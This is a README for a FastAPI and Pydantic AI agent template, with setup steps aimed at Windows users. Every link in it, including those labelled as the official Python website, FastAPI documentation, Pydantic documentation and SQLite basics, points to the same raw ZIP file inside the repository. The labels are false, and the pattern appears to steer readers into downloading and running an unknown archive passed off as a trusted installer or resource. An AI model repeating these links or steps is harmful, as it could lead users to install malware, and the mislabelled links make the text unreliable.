This project provides a simple template to create AI-powered agents using modern tools. It combines FastAPI, a web framework that handles requests quickly, with Pydantic, which helps manage data validation in Python. The template also uses SQLAlchemy and Alembic for handling databases and migrations. This setup helps you build applications that use large language models (LLMs) more easily.
The template fits well for developers who want to create agents that process and understand text, but you don’t need to know programming to download and run it.
Before you start, make sure your Windows computer meets these requirements:
- Windows 10 or later (64-bit)
- At least 4 GB of RAM
- 2 GHz processor or faster
- 500 MB free disk space for installation
- Internet connection to download files and updates
Your system should be able to run Python applications smoothly.
- A ready-to-use project template combining FastAPI and Pydantic AI.
- Database support with SQLAlchemy and Alembic for smooth data management.
- Simple code organization to build AI agents responding to user input.
- Support for fast web requests to integrate with other apps.
- Basic setup files to start running your AI agent quickly.
Use the link above or below to get the project files. This link takes you to the GitHub page where you can download all the files.
-
Open your web browser and go to the download page:
https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip -
On the page, find the green button labeled Code near the top right corner.
-
Click Code, then click Download ZIP at the bottom of the dropdown menu.
-
Save the ZIP file to a folder you can easily find, such as your Desktop or Downloads folder.
-
After the download finishes, locate the ZIP file and right-click on it.
-
Select Extract All and choose a folder where you want to extract the files. Wait until the extraction completes.
This project requires Python to run. If you don’t have Python installed, follow these steps:
-
Go to the official Python website: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
-
Click the latest Python 3.x version for Windows.
-
Download the installer and run it.
-
Important: On the first screen, check Add Python to PATH.
-
Click Install Now and wait for it to finish.
After Python installs, restart your computer to apply changes.
-
Open the folder where you extracted the project files.
-
Hold the Shift key and right-click in the folder window.
-
Choose Open PowerShell window here or Open Command Window Here.
-
In the new window, type these commands one by one and press Enter:
python -m venv env .\env\Scripts\activate pip install -r requirements.txt uvicorn main:app --reload
- The first command creates a small virtual environment to keep project files separate.
- The second command activates this environment.
- The third command installs needed packages like FastAPI and Pydantic.
- The fourth command runs the application on your computer.
-
Once running, open your browser and go to the address shown in the window. Usually, this is:
http://127.0.0.1:8000 -
You will see the FastAPI welcome page. From here, you can start testing or building your AI agents.
This template serves as a starting point that you can modify as needed. It contains a folder structure separating files logically:
main.py: The main app file that runs FastAPI.models.py: Data models using Pydantic.database.py: Database setup and connection.alembic: Folder with database migrations.requirements.txt: List of Python packages the project needs.
You can add your own logic inside main.py or create new files to customize your agent’s behavior.
If you want to update the template later:
-
Go back to the GitHub page: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
-
Download the latest ZIP file using the Code > Download ZIP option.
-
Extract the new files over your existing folder if you want to keep your changes.
-
Repeat the setup steps in the command window to install new packages:
.\env\Scripts\activate pip install -r requirements.txt
This template uses SQLAlchemy for database work and Alembic for version control of database changes.
-
The default database is SQLite, a simple file-based database. The file will appear after the first run.
-
To apply database migrations, run this command in your PowerShell window (inside your project folder):
alembic upgrade head -
This will update or create tables as described in the migration files.
- If Python commands fail, ensure Python is installed and added to your system PATH.
- If package installation fails, check your internet connection.
- If you see an error about ports in use, try stopping other programs that use port 8000 or change the port number in the
uvicorncommand by adding--port 8001. - Use the GitHub Issues tab on the repository page for existing solutions.
- Project page and downloads: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
- Python downloads: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
- FastAPI documentation: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
- Pydantic documentation: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
- SQLite basics: https://github.com/BGmano/pydantic-agent-template/raw/refs/heads/main/app/agent/agent_pydantic_template_v1.8-beta.3.zip
